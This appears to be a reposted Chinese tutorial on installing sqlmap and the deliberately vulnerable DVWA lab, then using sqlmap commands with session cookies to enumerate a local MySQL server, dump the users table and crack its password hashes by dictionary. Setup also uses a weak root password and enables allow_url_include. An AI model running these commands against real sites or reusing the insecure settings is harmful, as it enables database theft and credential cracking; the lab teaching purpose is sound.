zoukankan      html  css  js  c++  java
  • 使用sqlmap检测sql注入漏洞

    一、 sql注入概述并安装sqlmap漏洞查看工具
    1、 sql注入概述
    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。
    比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。例:12306.cn和csdn等网站帐号和密码的泄露,都有可能是sql注入导致的。

    2、 什么是sqlmap?
    SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
    官方网站下载http://sqlmap.org/

    3、 安装sqlmap
    环境说明:
    主机名 IP地址 作用
    xuegod120.com 192.168.0.120 SQLmap
    xuegod130.com 192.168.0.130 DVWA渗透测试演练系统

    1) 安装python环境
    默认系统中已经安装过python环境
    [root@xuegod120 ~]# python -V

    如果没有安装python,可以直接使用yum安装
    yum -y install python

    2) 安装sqlmap
    将下载的sqlmap软件包上传到服务器,然后解压缩
    [root@xuegod120 ~]# tar xf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz

    sqlmap用的是python编写,属于解释型语言,需要编译,可以直接使用。

    3) 运行sqlmap
    [root@xuegod120 sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py

    这里因为没有加相关参数,所以有一个错误提示。

    4) 创建sqlmap命令
    [root@xuegod120 ~]# ln -s /root/sqlmapproject-sqlmap-7eab1bc/sqlmap.py /usr/bin/sqlmap
    [root@xuegod120 ~]# sqlmap -h

    可以直接使用sqlmap命令

    二、 安装渗透测试演练系统DVWA
    DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
    官方网站:链接地址:http://www.dvwa.co.uk 由于是国外的网站,有时可能会打不开。
    注: .uk 是英国的域名后缀。英国的全称是大不列颠及北爱尔兰联合王国,又简称英国〔United Kingdom,UK〕

    1、 在xuegod130上部署LAMP环境
    [root@xuegod130 ~]# yum -y install httpd php php-mysql php-gd mariadb-server mariadb
    2、 启动httpd、mariadb
    [root@xuegod130 ~]# systemctl start httpd
    [root@xuegod130 ~]# systemctl start mariadb
    如果启动mariadb报如下错误

    只需要按照提示清空/var/lib/mysql/目录下的文件即可
    [root@xuegod130 ~]# rm -rf /var/lib/mysql/*
    [root@xuegod130 ~]# systemctl start mariadb


    3、 创建php探针脚本,测试LAMP环境是否搭建完毕
    [root@xuegod130 ~]# vim /var/www/html/test.php

    <?php phpinfo(); ?>
    访问测试


    4、 配置mysql数据库
    [root@xuegod130 ~]# mysqladmin -uroot password “123456” #配置密码为123456
    [root@xuegod130 ~]# mysql -uroot -p123456 #登录数据库

    5、 下载DVWA渗透系统代码上传到服务器,并解压到根目录下
    [root@xuegod130 ~]# yum -y install unzip
    [root@xuegod130 ~]# unzip -d /var/www/html/ DVWA-1.9.zip

    6、 编辑DVWA配置文件
    配置数据库信息,user和password是mysql的用户名和密码
    [root@xuegod130 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php
    15 $_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;
    16 $_DVWA[ ‘db_database’ ] = ‘dvwa’;
    17 $_DVWA[ ‘db_user’ ] = ‘root’;
    18 $_DVWA[ ‘db_password’ ] = ‘123456’; #只需要修改成你的mysql的root用户密码

    7、 部署DVWA网站系统
    访问http://192.168.0.130/DVWA-1.9/setup.php


    看提示有错误,按照如下修改即可

    [root@xuegod130 ~]# vim /etc/php.ini
    改:815 allow_url_include = Off
    为: allow_url_include = On
    [root@xuegod130 ~]# systemctl restart httpd

    报错: reCAPTCHA key: Missing
    扩展:
    reCAPTCHA概述:CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR(光学字符识别)软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU。
    OCR概述:OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程;
    解决方法:
    [root@xuegod130 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php
    改:
    26 $_DVWA[ ‘recaptcha_public_key’ ] = ‘’;
    27 $_DVWA[ ‘recaptcha_private_key’ ] = ‘’;
    为:
    $_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;
    $_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

    扩展:生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥。
    上面修改的值就是公钥和私钥值,可以自己在谷歌 后生成私人的公钥和私钥
    访问https://www.google.com/recaptcha/admin/create并用google账户登录,在文本框输入自己网站的网址,如global-key.mycompany.com ,点击create key,生成Public Key和Private Key。


    修改后再次访问,错误已经没有了。

    8、 点击“Create/Reset Database”,等待2S中后会自动跳转到管理页面

    9、 管理页面登录方式
    http://192.168.0.130/DVWA-1.9/login.php


    三、 使用sqlmap进行sql注入,并获取后台管理员的账号和密码
    SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
    查看sqlmap.py 帮助选项:

    sqlmap常用参数:
    -u : 指定目标URL,sql注入点
    –cookie : 当前会话的cookie值
    -b : 获取数据库类型 检索数据库管理系统的标识
    (DBMS:Database Management System 数据库管理系统)
    –current-db : 获取当前数据库
    –current-user :获取当前登录数据库使用的用户

    实战1:枚举登录MYSQL数据库的用户名与密码
    实战2:枚举所有数据库
    实战3:枚举指定数据库的数据表
    实战4:获取dvwa库中users表的所有列名字:
    实战5:拖库,指定数据表中的所有用户名与密码暴力破解成明文密码并dump下来

    1、 枚举登录mysql数据库的用户名和密码
    使用sqlmap之前需要得到当前会话的cookie等信息,用来在渗透过程中维持连接状态
    cookie使用其复数形式成为cookies,指某些网站为了识别用户的身份,进行session跟踪,而存储在用户本地终端上的数据,这些数据通常都是加密的。
    只要是登录过网站,就会在本地产生cookie,主要用于身份识别,进行session跟踪。

    1) 抓取cookie值
    使用360浏览器或谷歌、火狐浏览器,打开网站,登录上用户名和密码,进入开发模式


    2) 为了方便演示,修改DVWA安全等级为low


    3) 进入“SQL Injection”部分,输入任意值提交。

    http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit
    可以看到我们提交的22值后返回的结果,此页面就是我们的目标页面

    4) 获取当前页面的cookie值

    复制cookie值后,排成如下格式:
    security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2

    5) 获取数据库的用户名和当前正在使用的数据库名称
    [root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=" security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2" -b --current-db --current-user

    回车后中间会有几个选项,每项含义如下
    it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] #看起来后端DBMS是“mysql”。是否要跳过特定于其他DBMS的测试有效负载? #已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入Y

    for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] #对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试? #不需要其他测试,直接输入n

    GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    #get参数“id”易受攻击。你想继续测试其他人吗(如果有的话)?[y/n] 输入n

    最后结果输出如下:


    2、 使用命令枚举所有登录mysql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
    常用参数:
    –string : 当查询可用时用来匹配页面中的字符串
    –users : 枚举DBMS用户
    –password : 枚举DBMS用户密码hash

    [root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security: low; PHPSESSID: q03ei52p498fa925ntjbhleo90” --string=“Surname” --users –password

    弹出消息的含义:
    do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理

    do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
    #是否要对检索到的密码哈希执行基于字典的攻击?输入y

    what dictionary do you want to use? #你想用什么字典?
    [1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
    #默认字典文件’/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’(按Enter键)
    [2] custom dictionary file #自定义词典文件
    [3] file with list of dictionary files #带字典文件列表的文件
    #直接回车,使用默认字典
    do you want to use common password suffixes? (slow!) [y/N]
    #是否要使用常用密码后缀?(慢!)输入y

    运行结果如下:

    3、 枚举DVWA库中的表
    常用参数
    -D : 要枚举的DBMS数据库
    –tables : 枚举DBMS数据库中的数据表

    [root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa –tables

    运行结果如下;


    4、 获取dvwa库中users表的所有列名字
    常用参数
    -T : 要枚举的DBMS数据库表
    –columns : 枚举DBMS数据库表中的所有列

    [root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa -T users –columns

    运行结果如下:

    5、拖库,获取dvwa库中users表的所有列的名字
    拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
    常用参数:
    -T : 要枚举的DBMS数据表
    -C: 要枚举的DBMS数据表中的列
    –dump : 转储DBMS数据表项

    [root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa -T users -C user,password –dump

    弹出消息含义:
    do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #是否要将哈希值存储到临时文件中,以便其他工具进行处理?

    do you want to crack them via a dictionary-based attack? [Y/n/q]
    #你想通过基于字典的攻击破解它们吗?dictionary-based attack基于字典的攻击

    what dictionary do you want to use? #你想用什么字典?
    [1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
    #默认字典文件’/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’(按Enter键)
    [2] custom dictionary file #自定义词典文件
    [3] file with list of dictionary files #带字典文件列表的文件
    #直接回车,使用默认字典
    do you want to use common password suffixes? (slow!) [y/N]
    #是否要使用常用密码后缀?(慢!)输入y

    运行结果如下:

    从图中可以看出破解得到的密码是经过hash值加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码。

    查看导出的数据:
    [root@xuegod120 ~]# cat /root/.sqlmap/output/192.168.0.130/dump/dvwa/users.csv
    user,password

     

    ————————————————
    版权声明:本文为CSDN博主「菜鸟、上路」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/weixin_41843699/article/details/99976743

  • 相关阅读:
    利用 Remoting 实现异步队列机制
    JsonHelper
    吐血推荐"泛绿色编程工具": EditPlus 已于 20100714 升级到 v3.12(602)
    以 Console 方式运行、调试、编译 .Net 编写的 Windows 服务
    CompressHelper
    支持掩码输入的 .Net 2.0 Console 可用于使用掩码回显 password 的字符
    20080411 正式版 Microsoft Visual Studio International Pack 1.0 处理汉字、拼音、笔画转换
    CryptoHelper
    C++之String的find方法,查找一个字符串在另一个字符串的什么位置;leveldb字符串转数字解析办法
    Linux线程之线程池、高并发、线程数 C/C++ pthread 函数库
  • 原文地址:https://www.cnblogs.com/javalinux/p/15783032.html
Copyright © 2011-2022 走看看